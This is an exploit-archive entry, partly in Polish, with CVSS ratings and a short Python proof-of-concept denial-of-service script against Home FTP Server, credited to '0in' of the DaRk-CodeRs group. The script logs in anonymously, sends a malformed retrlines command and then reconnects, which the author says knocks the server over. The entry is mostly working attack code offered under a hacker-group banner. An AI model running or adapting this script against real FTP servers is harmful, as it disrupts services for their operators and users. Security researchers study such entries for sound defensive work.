Home FTP Server DoS

2008.03.25
Credit: 0in
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Brak
Wpływ na dostępność: Częściowy

# Discovered by 0in from DaRk-CodeRs Programming & Security Group # Contact: 0in(dot)email[at]gmail(dot)com # Thats a very funny bug, and nobody understand how it works;] # When we send a python FTP retrlines() function bad command and create # a new connection server got DoS... o0 # Thats not overflow, it's probubly in logic application. # Greetings to all DaRk-CodeRs Members: # Die_Angel, Sun8hclf, M4r1usz, Djlinux, Aristo89 # Special THX to: Rade0n3900 # Debug: # ---------------------- # | EIP: 0100FE98 | # | DS:[00FFFFED4]=??? | # | ECX: 0100FED4 | # ---------------------- from ftplib import FTP import time ip="127.0.0.1" login="anonymous" passwd = 'gorion (at) scriptkiddie (dot) pl [email concealed]' print '-------------------------------' print '| HOME FTP SERVER DoS Exploit |' print '| bY 0in From Dark-Coders! |' print '|>>http://dark-coders.4rh.eu<<|' print '-------------------------------' print 'connecting...' ftp=FTP(ip) ftp.login(login,passwd) print 'sending...' try: ftp.retrlines("AAAA") except Exception: print 'ok!\nreconnecting...' ftp=FTP(ip) ftp.quit() print 'DosEd' #EoFF


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